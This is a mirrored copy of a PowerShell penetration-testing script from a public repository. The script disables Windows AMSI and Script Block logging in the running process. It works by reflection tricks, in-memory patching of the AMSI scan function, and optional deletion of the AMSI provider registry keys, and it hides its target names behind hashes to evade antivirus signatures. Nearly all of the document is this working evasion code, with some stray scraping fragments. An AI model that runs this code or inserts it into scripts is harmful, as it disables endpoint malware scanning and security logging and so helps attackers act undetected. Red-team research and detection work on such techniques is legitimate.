mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-24 11:31:36 +01:00
817 lines
26 KiB
PowerShell
817 lines
26 KiB
PowerShell
#requires -version 5
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<#
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.SYNOPSIS
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Attempts to disable AMSI within current process using well-known techniques laid out in an unsignatured way.
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Author: Mariusz B. (@mgeeky)
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License: BSD 3-Clause
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Required Dependencies: None
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Optional Dependencies: None
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.DESCRIPTION
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Tries to evade AMSI by leveraging couple of publicly documented techniqus, but in
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an approach to avoid signatured or otherwise considered harmful keywords.
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Notice: These techniques only disable AMSI within current process context. Tricks implemented
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are not system-wide and not permament.
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Using a hash-lookup approach when determining prohibited symbol names, we are able
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to avoid relying on blacklisted values and having them hardcoded within the script.
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This implementation iterates over all of the assemblies, their exposed types, methods and
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fields in order to find those that are required but by their computed hash-value rather than
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direct name. Since hash-value computation algorithm was open-sources and is simple to
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manipulate, the attacker becomes able to customize hash-lookup scheme the way he likes.
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A simplest approach to alter return values coming out of Get-Hash would be to change the
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initial value of $val variable.
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The script comes up with several techniques implemented. Triggers them one by one. Should one
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return successfully, the script is going to finish it's execution.
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The approaches implemented in this script heavily rely on the previous work of:
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- Matt Graeber: https://github.com/mattifestation/PSReflect
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- Matt Graeber: https://twitter.com/mattifestation/status/735261120487772160
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- Avi Gimpel: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
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- Adam Chester: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
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.PARAMETER DontDisableBlockLogging
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Prevents this script from attempting to disable Script-Block logging feature introduced
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in Powershell Ver. 5
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.PARAMETER RemoveAmsiProviders
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If this script was launched as an Administrator prinicipal, an attempt to remove AMSI Providers
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can be made. Such attempt will try to remove registry keys named in a GUID style, located at:
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HKLM\Software\Microsoft\AMSI\ProviXders
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It is recommended to firstly backup that registry key by doing something like:
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cmd> reg export HKLM\Software\Microsoft\AMSI\Providers "%TEMP%\AmsiPrXoviders.reg"
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.EXAMPLE
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PS > "amsiIXnitFailXed"
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At line:1 char:1
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+ "amsiIXnitFailXed"
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+ ~~~~~~~~~~~~~~~~
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This script contains malicious content and has been blocked by your antivirus software.
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+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
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+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
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PS > . .\Disable-Amsi.ps1
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PS > Disable-Amsi
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[+] Disabled Script Block logging.
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[+] Success via technique 1.
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PS > "amsiIXnitFailXed"
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amsiIXnitFailXed
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.NOTES
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This script has not yet been thouroughly tested, although it has the code intended to
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work on x86 systems, this code was not validated on them.
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#>
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function New-InMemoryModule
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{
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Param
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(
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[Parameter(Position = 0)]
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[ValidateNotNullOrEmpty()]
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[String]
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$ModuleName = [Guid]::NewGuid().ToString()
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)
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$LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
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ForEach ($Assembly in $LoadedAssemblies) {
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if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
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return $Assembly
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}
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}
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$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
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$Domain = [AppDomain]::CurrentDomain
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$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
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$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
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return $ModuleBuilder
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}
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# A helper function used to reduce typing while defining function
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# prototypes for Add-Win32Type.
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function func
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{
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Param
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(
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[Parameter(Position = 0, Mandatory = $True)]
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[String]
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$DllName,
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[Parameter(Position = 1, Mandatory = $True)]
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[String]
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$FunctionName,
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[Parameter(Position = 2, Mandatory = $True)]
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[Type]
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$ReturnType,
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[Parameter(Position = 3)]
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[Type[]]
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$ParameterTypes,
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[Parameter(Position = 4)]
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[Runtime.InteropServices.CallingConvention]
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$NativeCallingConvention,
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[Parameter(Position = 5)]
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[Runtime.InteropServices.CharSet]
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$Charset,
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[Switch]
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$SetLastError
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)
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$Properties = @{
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DllName = $DllName
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FunctionName = $FunctionName
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ReturnType = $ReturnType
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}
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if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
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if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
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if ($Charset) { $Properties['Charset'] = $Charset }
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if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
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New-Object PSObject -Property $Properties
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}
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function Add-Win32Type
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{
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[OutputType([Hashtable])]
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Param(
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[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
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[String]
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$DllName,
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[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
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[String]
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$FunctionName,
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[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
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[Type]
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$ReturnType,
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[Parameter(ValueFromPipelineByPropertyName = $True)]
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[Type[]]
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$ParameterTypes,
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[Parameter(ValueFromPipelineByPropertyName = $True)]
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[Runtime.InteropServices.CallingConvention]
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$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
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[Parameter(ValueFromPipelineByPropertyName = $True)]
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[Runtime.InteropServices.CharSet]
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$Charset = [Runtime.InteropServices.CharSet]::Auto,
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[Parameter(ValueFromPipelineByPropertyName = $True)]
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[Switch]
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$SetLastError,
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[Parameter(Mandatory = $True)]
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[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
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$Module,
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[ValidateNotNull()]
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[String]
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$Namespace = ''
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)
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BEGIN
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{
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$TypeHash = @{}
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}
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PROCESS
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{
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if ($Module -is [Reflection.Assembly])
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{
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if ($Namespace)
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{
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$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
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}
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else
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{
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$TypeHash[$DllName] = $Module.GetType($DllName)
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}
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}
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else
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{
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# Define one type for each DLL
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if (!$TypeHash.ContainsKey($DllName))
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{
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if ($Namespace)
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{
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$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
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}
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else
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{
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$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
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}
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}
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$Method = $TypeHash[$DllName].DefineMethod(
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$FunctionName,
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'Public,Static,PinvokeImpl',
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$ReturnType,
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$ParameterTypes)
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# Make each ByRef parameter an Out parameter
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$i = 1
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ForEach($Parameter in $ParameterTypes)
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{
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if ($Parameter.IsByRef)
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{
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[void] $Method.DefineParameter($i, 'Out', $Null)
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}
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$i++
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}
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$DllImport = [Runtime.InteropServices.DllImportAttribute]
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$SetLastErrorField = $DllImport.GetField('SetLastError')
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$CallingConventionField = $DllImport.GetField('CallingConvention')
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$CharsetField = $DllImport.GetField('CharSet')
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if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
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# Equivalent to C# version of [DllImport(DllName)]
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$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
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$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
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$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
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[Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
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[Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
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$Method.SetCustomAttribute($DllImportAttribute)
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}
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}
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END
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{
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if ($Module -is [Reflection.Assembly])
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{
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return $TypeHash
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}
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$ReturnTypes = @{}
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ForEach ($Key in $TypeHash.Keys)
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{
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$Type = $TypeHash[$Key].CreateType()
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$ReturnTypes[$Key] = $Type
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}
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return $ReturnTypes
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}
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}
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function field
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{
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Param
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(
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[Parameter(Position = 0, Mandatory = $True)]
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[UInt16]
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$Position,
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[Parameter(Position = 1, Mandatory = $True)]
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[Type]
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$Type,
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[Parameter(Position = 2)]
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[UInt16]
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$Offset,
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[Object[]]
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$MarshalAs
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)
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@{
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Position = $Position
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Type = $Type -as [Type]
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Offset = $Offset
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MarshalAs = $MarshalAs
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}
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}
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function struct
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{
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[OutputType([Type])]
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Param
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(
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[Parameter(Position = 1, Mandatory = $True)]
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[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
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$Module,
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[Parameter(Position = 2, Mandatory = $True)]
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[ValidateNotNullOrEmpty()]
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[String]
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$FullName,
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[Parameter(Position = 3, Mandatory = $True)]
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[ValidateNotNullOrEmpty()]
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[Hashtable]
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$StructFields,
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[Reflection.Emit.PackingSize]
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$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
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[Switch]
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$ExplicitLayout
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)
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if ($Module -is [Reflection.Assembly])
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{
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return ($Module.GetType($FullName))
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}
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[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
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Class,
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Public,
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Sealed,
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BeforeFieldInit'
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if ($ExplicitLayout)
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{
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$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
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}
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else
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{
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$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
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}
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$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
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$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
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$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
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$Fields = New-Object Hashtable[]($StructFields.Count)
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# Sort each field according to the orders specified
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# Unfortunately, PSv2 doesn't have the luxury of the
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# hashtable [Ordered] accelerator.
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ForEach ($Field in $StructFields.Keys)
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{
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$Index = $StructFields[$Field]['Position']
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$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
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}
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ForEach ($Field in $Fields)
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{
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$FieldName = $Field['FieldName']
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$FieldProp = $Field['Properties']
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$Offset = $FieldProp['Offset']
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$Type = $FieldProp['Type']
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$MarshalAs = $FieldProp['MarshalAs']
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$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
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if ($MarshalAs)
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{
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$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
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if ($MarshalAs[1])
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{
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$Size = $MarshalAs[1]
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$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
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$UnmanagedType, $SizeConst, @($Size))
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}
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else
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{
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$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
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}
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$NewField.SetCustomAttribute($AttribBuilder)
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}
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if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
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}
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# Make the struct aware of its own size.
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# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
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$SizeMethod = $StructBuilder.DefineMethod('GetSize',
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'Public, Static',
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[Int],
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[Type[]] @())
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$ILGenerator = $SizeMethod.GetILGenerator()
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# Thanks for the help, Jason Shirk!
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$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
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$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
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[Type].GetMethod('GetTypeFromHandle'))
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$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
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[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
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$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
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# Allow for explicit casting from an IntPtr
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# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
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$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
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'PrivateScope, Public, Static, HideBySig, SpecialName',
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$StructBuilder,
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[Type[]] @([IntPtr]))
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$ILGenerator2 = $ImplicitConverter.GetILGenerator()
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$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
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$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
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$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
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$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
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[Type].GetMethod('GetTypeFromHandle'))
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$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
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[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
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$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
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$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
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$StructBuilder.CreateType()
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}
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########################################################
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$Mod = New-InMemoryModule -ModuleName Win32
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$FunctionDefinitions = @(
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# psapi
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(func psapi EnumProcessModulesEx ([Bool]) @(
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[IntPtr], # hProcess
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[IntPtr].MakeArrayType(), # lphModule
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[UInt32], # cb
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[UInt32].MakeByRefType(), # cbNeeded
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[UInt32] # dwFilterFlags
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) -SetLastError),
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(func psapi GetModuleFileNameExW ([UInt32]) @(
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[IntPtr],
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[IntPtr],
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[System.Text.StringBuilder],
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[Int32]
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) -SetLastError -Charset Unicode),
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# kernel32
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(func kernel32 VirtualProtect ([Bool]) @(
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[IntPtr],
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[UInt32],
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[Uint32],
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[UInt32].MakeByRefType()
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) -SetLastError)
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(func kernel32 RtlMoveMemory ([Void]) @(
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[IntPtr], # Destination
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[IntPtr], # Source
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[UInt32] # dwSize
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))
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)
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$FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' | Out-Null
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########################################################
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function Disable-Amsi
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{
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Param(
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[Switch]
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$DontDisableBlockLogging,
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[Switch]
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$RemoveAmsiProviders
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)
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function bitshift
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|
{
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param(
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[Parameter(Mandatory,Position=0)]
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[long]$x,
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[Parameter(ParameterSetName='Left')]
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[ValidateRange(0,[int]::MaxValue)]
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[int]$Left,
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[Parameter(ParameterSetName='Right')]
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[ValidateRange(0,[int]::MaxValue)]
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[int]$Right
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)
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$shift = if($PSCmdlet.ParameterSetName -eq 'Left')
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{
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$Left
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}
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else
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{
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-$Right
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}
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$ret = [math]::Floor($x * [math]::Pow(2,$shift))
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return [System.Convert]::TOUInt32($ret -band ([uint32]::MaxValue))
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}
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#
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# def gethash(x):
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# val = 5381
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# x = x.lower()
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# for a in x:
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# n = (val << 5) & 0xffffffff
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# val = val + n + ord(a)
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# return val
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#
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# C:\Windows\System32\amXsi.dll - 63354690687
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# System.Management.AutoXmation.dll - 65764965518
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# AmsiXCloseSession - 30387720265
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# AmsiXInitialize - 27745586497
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# AmsiXOpenSession - 34471491749
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# AmsiXScanBuffer - 27346550254
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# AmsiXUacInitialize - 33631030458
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# AmsiXUacScan - 19307673869
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# AmsiXUacUninitialize - 32135665149
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# AmsiXUninitialize - 30978397252
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function Get-Hash
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{
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param(
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[Parameter(Mandatory = $true)]
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[AllowEmptyString()]
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[string]$name
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)
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|
if ($name.Length -eq 0)
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{
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return 0
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}
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$name = $name.ToLower();
|
|
$val = 5381
|
|
for($i = 0; $i -lt $name.Length; $i++)
|
|
{
|
|
$n = bitshift $val -left 5
|
|
$val = ($n + $val) + [byte][char]$name[$i]
|
|
}
|
|
|
|
return $val
|
|
}
|
|
|
|
function Find-AmsiModule
|
|
{
|
|
# Get-Hash ("C:\WINDOWS\SYSTEM32\amXsi.dll")
|
|
$TargetHash = 63354690687
|
|
|
|
$handle = New-Object IntPtr -1
|
|
$cb = 1024
|
|
$cbNeeded = New-Object UInt32
|
|
$modules = New-Object IntPtr[] $cb
|
|
$null = [Win32.psapi]::EnumProcessModulesEx($handle, $modules, $cb * [IntPtr]::Size, [ref] $cbNeeded, 3)
|
|
|
|
for($i = 0; $i -lt $cb; $i ++) {
|
|
if ($modules[$i] -eq [IntPtr]::Zero) {
|
|
break;
|
|
}
|
|
|
|
$lpFileName = [Activator]::CreateInstance([System.Text.StringBuilder], 256)
|
|
$null = [Win32.psapi]::GetModuleFileNameExW($handle, $modules[$i], $lpFileName, $lpFileName.Capacity)
|
|
if ((Get-Hash($lpFileName)) -eq $TargetHash) {
|
|
return [IntPtr]$modules[$i]
|
|
}
|
|
}
|
|
|
|
return $null
|
|
}
|
|
|
|
function Get-ProcAddress
|
|
{
|
|
Param (
|
|
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $Module,
|
|
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
|
|
)
|
|
|
|
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
|
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
|
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
|
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static",
|
|
$null, [System.Reflection.CallingConventions]::Any,
|
|
@((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
|
|
$tmpPtr = New-Object IntPtr
|
|
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Module)
|
|
|
|
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
|
}
|
|
|
|
function Technique1
|
|
{
|
|
# Using reflection we find init failed non public symbol and flip it to true.
|
|
# The trick here is to avoid use of any prohibited word by refering to them via hash-lookups.
|
|
try
|
|
{
|
|
$asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)} # SysXtem.ManaXgement.AutomaXtion.dll
|
|
$mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 13944524928} # AmsiUXtils
|
|
$foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 27628075080} # amsiInXitFaXiled
|
|
$foo.SetValue($null, $true)
|
|
return $foo.GetValue($null)
|
|
}
|
|
Catch
|
|
{
|
|
return $false
|
|
}
|
|
}
|
|
|
|
function Technique2
|
|
{
|
|
# This one tries to corrupt context of AMSI as created during that inteface's
|
|
# initialization.
|
|
try
|
|
{
|
|
$asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)} # SysXtem.ManaXgement.AutomaXtion.dll
|
|
$mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 13944524928} # AmsiUXtils
|
|
$foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 21195228531} # amsiSesXsion
|
|
$foo.SetValue($null, $null)
|
|
|
|
$bar = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9077)
|
|
$baz = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 18097066420} # amsiConXtext
|
|
$baz.SetValue($null, $bar)
|
|
|
|
$xyz = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 27628075080} # amsiInXitFaXiled
|
|
return $xyz.GetValue($null)
|
|
}
|
|
Catch
|
|
{
|
|
return $false
|
|
}
|
|
}
|
|
|
|
function Technique3 ($addr)
|
|
{
|
|
if([IntPtr]::Size -eq 8)
|
|
{
|
|
# 64 bit
|
|
# Patching length-check in buffer scanning routine to make it believe it always
|
|
# receives an empty buffer.
|
|
|
|
$buf = New-Object byte[] 64
|
|
[System.Runtime.InteropServices.Marshal]::Copy($addr, $buf, 0, 0x24)
|
|
|
|
for($i = 0; $i -lt $buf.Length; $i++)
|
|
{
|
|
# mov edi, r8d
|
|
if (($buf[$i+0] -eq 0x41) -and ($buf[$i+1] -eq 0x8b) -and ($buf[$i+2] -eq 0xf8))
|
|
{
|
|
$oldProtect = New-Object UInt32
|
|
$nAddr = [IntPtr]::Add($addr, $i)
|
|
if ([Win32.kernel32]::VirtualProtect($nAddr, [UInt32]3, 0x40, [ref]$oldProtect))
|
|
{
|
|
$newBuf = New-Object byte[] 3
|
|
$newBuf[0] = 0x31;
|
|
$newBuf[1] = 0xff;
|
|
$newBuf[2] = 0x90;
|
|
|
|
$unmanaged = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(5)
|
|
[System.Runtime.InteropServices.Marshal]::Copy($newBuf, 0, $unmanaged, 3)
|
|
|
|
# Patch with xor edi, edi ; nop
|
|
try
|
|
{
|
|
[Win32.kernel32]::RtlMoveMemory($nAddr, $unmanaged, 3)
|
|
[Win32.kernel32]::VirtualProtect($nAddr, [UInt32]3, $oldProtect, [ref]$oldProtect)
|
|
return $true
|
|
}
|
|
catch
|
|
{
|
|
[Win32.kernel32]::VirtualProtect($nAddr, [UInt32]3, $oldProtect, [ref]$oldProtect)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
# 32 bit approach.
|
|
# Here we just patch out the prologue of the same function with simple return 0
|
|
# sequence.
|
|
|
|
$oldProtect = New-Object UInt32
|
|
if ([Win32.kernel32]::VirtualProtect($addr, [UInt32]3, 0x40, [ref]$oldProtect))
|
|
{
|
|
# xor eax, eax; ret
|
|
$newBuf = New-Object byte[] 3
|
|
$newBuf[0] = 0x31;
|
|
$newBuf[1] = 0xc0;
|
|
$newBuf[2] = 0xc3;
|
|
|
|
$unmanaged = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(5)
|
|
[System.Runtime.InteropServices.Marshal]::Copy($newBuf, 0, $unmanaged, 3)
|
|
|
|
try
|
|
{
|
|
[Win32.kernel32]::RtlMoveMemory($addr, $unmanaged, 3)
|
|
[Win32.kernel32]::VirtualProtect($addr, [UInt32]3, $oldProtect, [ref]$oldProtect)
|
|
return $true
|
|
}
|
|
catch
|
|
{
|
|
[Win32.kernel32]::VirtualProtect($addr, [UInt32]3, $oldProtect, [ref]$oldProtect)
|
|
}
|
|
}
|
|
}
|
|
|
|
return $false
|
|
}
|
|
|
|
function BlockLoggingBypass
|
|
{
|
|
try
|
|
{
|
|
$asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)}
|
|
$mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 12579468197}
|
|
$foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 12250760746}
|
|
$foo.SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]'))
|
|
return $true
|
|
}
|
|
Catch
|
|
{
|
|
return $false
|
|
}
|
|
}
|
|
|
|
function Check-IsAdmin {
|
|
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
|
|
return $currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
|
|
}
|
|
|
|
function Remove-AmsiProviders {
|
|
$providers = (Get-ChildItem HKLM:\Software\Microsoft\AMSI\Providers)
|
|
$providers | ForEach-Object {
|
|
Remove-Item -Path $_.Name -Recurse
|
|
}
|
|
}
|
|
|
|
function Do-Stuff
|
|
{
|
|
$ver = $PSVersionTable.PSVersion.Major
|
|
if ($ver -lt 5) {
|
|
Write-Host "[-] Powershell environment found running at version: $ver . Required 5+"
|
|
return
|
|
}
|
|
|
|
if ($DontDisableBlockLogging -eq $false) {
|
|
if (BlockLoggingBypass) {
|
|
Write-Host "[+] Disabled Script Block logging."
|
|
}
|
|
else {
|
|
Write-Host "[-] Could not disblae Script Block logging."
|
|
}
|
|
}
|
|
|
|
if ($RemoveAmsiProviders) {
|
|
if (Check-IsAdmin) {
|
|
Remove-AmsiProviders
|
|
}
|
|
else {
|
|
Write-Host "[-] Script was not launched as Administrator. Cannot remove providers."
|
|
}
|
|
}
|
|
|
|
$imageBase = Find-AmsiModule
|
|
if ($imageBase -eq $null) {
|
|
Write-Host "[-] Could not find AMSI module."
|
|
return $null
|
|
}
|
|
|
|
$name = [System.AppDomain]::CurrentDomain.GetAssemblies() |
|
|
ForEach-Object { $_.GetTypes() } |
|
|
# TODO: Get rid of these nonpublic, static strings
|
|
ForEach-Object { $_.GetMethods('NonPublic, Public, Static') } |
|
|
ForEach-Object { $MethodInfo = $_; $_.GetCustomAttributes($false) } |
|
|
Where-Object {
|
|
$_.Value -and $MethodInfo.Name -and (((Get-Hash($_.Value)) -eq 12263690201) -and ((Get-Hash($MethodInfo.Name)) -eq 27346550254))
|
|
} | ForEach-Object { $MethodInfo.Name }
|
|
|
|
# TODO: Get rid of GetProcAddress in favor of manual Exports table parsing.
|
|
$addr = Get-ProcAddress $imageBase $name
|
|
|
|
# We attempt various techniques accordingly to how stable they are.
|
|
if (Technique1) {
|
|
Write-Host "[+] Success via technique 1."
|
|
return
|
|
}
|
|
|
|
if (Technique2) {
|
|
Write-Host "[+] Success via technique 2."
|
|
return
|
|
}
|
|
|
|
if (Technique3($addr)) {
|
|
Write-Host "[+] Success via technique 3."
|
|
return
|
|
}
|
|
}
|
|
|
|
Do-Stuff
|
|
}
|